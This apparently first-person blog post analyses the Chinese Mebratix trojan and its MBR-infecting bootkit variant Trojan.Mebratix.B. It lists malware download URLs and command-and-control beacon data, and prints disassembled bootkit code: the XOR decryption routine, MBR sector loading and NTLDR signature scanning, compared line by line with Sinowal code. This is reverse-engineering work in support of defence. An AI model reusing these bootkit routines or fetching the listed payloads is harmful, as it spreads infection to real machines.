Analysis of Mebratix

I came across Mebratix and heard about it first on Symantecs blog, which reveals a new Trojan.Mebratix.B version. Unfortunately the article is really weird, so I decided to make a full analysis on it (like the one I have made of Sinowal back in 2008). Symantec says "It can hide itself" - let's see if it also does it. A common name for Mebratix is KillAV (at least they are connected to each other, like Mebroot and Sinowal). It origins from China and is (according to Symantec) named there Ghost Shadow.

Peter Kleissner, Professional Black Hat

Mebratix

An original sample (which seems to be only Mebratix) can be downloaded from http://wm.2020sila.com:85/ro.exe, it is registered in multiple databases with MD5 654fd76c9ede84d1b92498e3b161ed46 (though the file was updated in the meantime and the MD5 changed). It downloads http://x.2012down.com:82/x.txt and executes all files listed there to %Program Files%:

http://x.2012down.com:82/A01.exe
http://x.2012down.com:82/A02.exe
http://x.2012down.com:82/A03.exe
http://x.2012down.com:82/A04.exe
http://x.2012down.com:82/A07.exe
http://x.2012down.com:82/A08.exe
http://x.2012down.com:82/A09.exe
http://x.2012down.com:82/A10.exe
http://x.2012down.com:82/A11.exe
http://x.2012down.com:82/A12.exe
http://x.2012down.com:82/A13.exe
http://x.2012down.com:82/A14.exe
http://x.2012down.com:82/A15.exe
http://x.2012down.com:82/A16.exe
http://x.2012down.com:82/A17.exe
http://x.2012down.com:82/A18.exe
http://x.2012down.com:82/B05.exe
http://x.2012down.com:82/A00.exe
http://cj.2012down.com:82/xx.exe
http://cj.2012down.com:82/yz.exe
http://cj.2012down.com:82/msn.exe
http://cj.2012down.com:82/fh.exe
http://cj.2012down.com:82/js.exe

It visits http://www.2012tj.com/s2/Count.asp to increase infection count and posts following data to that website:

Mac=00-0C-29-B8-2F-BC&Os=Windows+XP&Ver=20100605&Key=9c0cda9f27029de444ebfc081dfc2284

After posting my MAC address, OS, Version and Key I receive a HTTP/1.1 200 OK with the text "updateok". To the server www.superqqface.com it posts:

cpname=PETER-54826237F&hardid=&netid=00:0C:29:B8:2F:BC&user=full69&sname=C2&ver=1.0.1&val=181

It does various injections, also it accesses C:\Windows\System32\dllcache\explorer.exe. After a restart Windows wants me to insert installation iso, because Windows files were modified. This directory there (dllcache) is used by Windows File Protection (WFP). After installation there are 4 processes running, svchost.exe, xx.exe, "rundll32 yefv1.dll , InstallMyDll" and iexplore.exe. Because I could not confirm that anything here modifies the MBR, I decided to stop my analysis of Mebratix and went after Trojan.Mebratix.B.

Trojan.Mebratix.B

There was an original version available of Trojan.Mebratix.B at http://124.237.77.19:88/410830337.exe. Immediately I started debugging it, and because CreateFile to \\.\PhysicalDrive0 failed under VMware, I switched to Oracle VirtualBox. The first thing was to simply execute it and then read the modified master boot record (first 63 sectors), which has following layout:

Sector 0: Malicious MBR, relocates itself to 0000h:0600h
Sector 1: Will be loaded by mbr to 0000h:7C00h and relocates to fixed address 9700h:0000h
          Installs int 13h hook, reads 59 sectors from sector 2 and decrypts first 3 of them
          Loads original mbr from encrypted sector 2 to 7C00h and executes it
          Patches NT Loader code integrity verification and hooks ntldr to jump to sector 3
Sector 2: Original master boot record (encrypted)
Sector 3: Protected mode bootkit code, called by ntldr hook
          Restores interrupt 13h vector
          further code (not analysed yet)
Sector 4: further code (not analysed yet)
Sector 5+: PE image, kernel driver, 16544 bytes (~ 16 KB)

Trojan.Mebratix.B attacks only Windows XP (it contains only for XP signatures for the startup files). Sectors 2 to 4 are encrypted using a polymorphic xor key:

; decrypt 3 sectors (they were read in memory)
00000097  66BE00020000      mov esi,Following_Sector
0000009D  66BB33330000      mov ebx,3333h                                       ; decryption key (initial)
000000A3  66B900060000      mov ecx,512 * 3

Decrypt_3_Sectors:                                                              ; decrypt the sectors
000000A9  E81901            call word Calculate_Polymorphic_Xor_Key
000000AC  673006            xor [esi],al                                        ; just a simple xor
000000AF  6683C601          add esi,1                                           ; next byte to decrypt
000000B3  6683E901          sub ecx,1                                           ; loop opcode would also have done it
000000B7  75F0              jnz Decrypt_3_Sectors

...

Calculate_Polymorphic_Xor_Key:

; Input:
;   ebx = key
; Output:
;   al = decryption key (to xor with)
;   ebx = modified key (polymorphic)

000001C5  6669DBFD430300    imul ebx,ebx,dword 0x343fd
000001CC  6681C3C39E2600    add ebx,0x269ec3
000001D3  6689D8            mov eax,ebx
000001D6  66C1E810          shr eax,16
000001DA  6625FF000000      and eax,0xff

000001E0  C3                ret   ; I'm infinite! :P

To analyze those sectors I developed a small C++ program that xors a file with that encryption algorithm. The mbr contains quite old code (uses extensively CHS functions) and checks for FAT32 partition - not for NTFS. This is an indication for the source originating from Windows ME times (where FAT32 was "new"). The mbr contains a bug when loading the second sector via extended functions (LBA addressing mode) - it reads sector 2, which is in LBA the third sector. This bug was never noticed because the LBA reading is only done when reading the sector through CHS fails - and there is no reason why it should fail on CHS:

Try_Reading_Sector_1:

; read 1 sector to 0000h:7C00h from first hard disk, sector 1 (LBA)
000000CA  B80102            mov ax,0x201                                        ; read 1 sector
000000CD  BB007C            mov bx,0x7c00                                       ; to 7C00h
000000D0  B90200            mov cx,0x2                                          ; from sector 2 (= second sector, CHS)
000000D3  BA8000            mov dx,0x80                                         ; from first hard disk
000000D6  CD13              int 0x13
000000D8  7351              jnc Read_Sector_1_to_7C00h_Exit

...

Try_Reading_Sector_1_Extended:

; read 1 sector to 0000h:7C00h from first hard disk, sector 1 *BUG HERE* (LBA), using extended functions
000000FF  60                pushaw
00000100  6A00              push byte +0x0
00000102  6A00              push byte +0x0
00000104  6A00              push byte +0x0
00000106  6A02              push byte +0x2                                      ; 08h	QWORD	starting absolute block number  ** BUG ** THIS SHOULD BE 1
00000108  90                nop                                                 ; to evade previous detection (cheap)
00000109  90                nop                                                 ; to evade previous detection (cheap)
0000010A  6A00              push byte +0x0
0000010C  68007C            push word 0x7c00                                    ; 04h	DWORD	-> transfer buffer
0000010F  6A01              push 1                                              ; 02h	WORD	number of blocks to transfer (1 sector)
00000111  6A10              push 10h                                            ; 00h	BYTE	size of packet (10h or 18h)
00000113  B442              mov ah,0x42                                         ; Extended Read
00000115  8BF4              mov si,sp                                           ; disk packet is stored on stack
00000117  CD13              int 0x13
00000119  61                popaw

Starting with sector 5 it contains a full qualified kernel driver (17 KB). It has following imports:

hal.dll
KeRaiseIrql
KeLowerIrql

ntoskrnl.exe
ExAllocatePoolWithTag
DbgPrint (interesting!)
ExFreePoolWithTag
IoCreateFile
NtReadFile
NtClose
ZwCreateKey
ZwQueryValueKey
KeDelayExecutionThread
MmIsAddressValid

Following the driver on disk there are some interesting strings (together with some other binary content):

c:\windows\temp.txt
/n.txt
isdown
hftime
isie
ieurl
isdesktop
desktopurl
istan
desktopname
...
unionid=%s&mac=%s&iever=1&alexa=0&systemver=2&antisoftware=0&pluginver=%s
%s/count.aspx?i=
%02x%02x%02x%02x%02x%02x
GOOGLE
...
\                    .url
open
[InternetShortcut] 
URL= 
IconIndex=0 
IconFile=C:\Program Files\Internet Explorer\IEXPLORE.EXE 

Source, source, where do you come from?

Back in 2008 I analysed Sinowal and published it's source. Now, 2 years later, I got a dj-vu and see some code pieces there exactly 1:1 copied:

[original, Sinowal before April 2009]
00000000  FA                cli
00000001  33DB              xor bx,bx
00000003  8ED3              mov ss,bx
00000005  368926FE7B        mov [ss:0x7bfe],sp
0000000A  BCFE7B            mov sp,0x7bfe
0000000D  1E                push ds
0000000E  6660              pushad
00000010  FC                cld
00000011  8EDB              mov ds,bx

[copied, Trojan.Mebratix.B]
00000016  FA                cli
00000017  31DB              xor bx,bx
00000019  8ED3              mov ss,bx
0000001B  368926FE7B        mov [ss:7BFEh],sp
00000020  BCFE7B            mov sp,7BFEh
00000023  1E                push ds
00000024  6660              pushad
00000026  FC                cld
00000027  8EDB              mov ds,bx


[original, Sinowal before April 2009]
000000A2  8BC8              mov cx,ax
000000A4  C1E109            shl cx,0x9                          ; sectors * 512
000000A7  B08B              mov al,0x8b                         ;   scan byte
000000A9  8BFB              mov di,bx                           ; data buffer offset of sector
000000AB  60                pushaw
Scan_Read_Sector_loop:
000000AC  F2AE              repne scasb                         ; scan Bootloader for 8Bh
000000AE  7548              jnz NTLDR_delete_routine            ;   if not found ecx=0 => exit
000000B0  90                nop
000000B1  6626813DF085F674  cmp dword [es:di],0x74f685f0        ; check around signatures
000000B9  75F1              jnz Scan_Read_Sector_loop           ; if not matching => next try
000000BB  26817D05803D      cmp word [es:di+0x5],0x3d80
000000C1  75E9              jnz Scan_Read_Sector_loop           ; if not matching => next try
000000C3  268A4504          mov al,[es:di+0x4]
000000C7  3C21              cmp al,0x21
000000C9  7404              jz Found_File_to_Infect
000000CB  3C22              cmp al,0x22
000000CD  75DD              jnz Scan_Read_Sector_loop

[copied, Trojan.Mebratix.B]
00000135  89C1              mov cx,ax
00000137  C1E109            shl cx,0x9
0000013A  B08B              mov al,0x8b
0000013C  89DF              mov di,bx
0000013E  60                pushaw
Search_Signature_2:
0000013F  F2AE              repne scasb
00000141  754F              jnz End_Signature_2
00000143  90                nop
00000144  2666813DF085F674  cmp dword [es:di],0x74f685f0
0000014C  75F1              jnz Search_Signature_2
0000014E  26817D05803D      cmp word [es:di+0x5],0x3d80
00000154  75E9              jnz Search_Signature_2
00000156  268A4504          mov al,[es:di+4]
0000015A  3C21              cmp al,0x21                         ; 21h or 22h are accepted for signature
0000015C  7404              jz Found_Signature_2
0000015E  3C22              cmp al,0x22
00000160  75DD              jnz Search_Signature_2

I always write Sinowal before April 2009, because in April 2009 the Sinowal gang updated their bootkit to work with Vista. They nearly completely rewrote the entire code, and I decided at that time to only share the reversed code with anti-virus companies.

The nop instruction at 000000B0 (Sinowal) and 00000143 (Mebratix) shows that they clearly copied the code. Since I am the only one publishing reversed Sinowal source, and Mebratix is only few months old I could search now in my database logs for a download access of that zip file from China (the Bundministerium fr Inneres does that always when some criminals use contents from their website).

References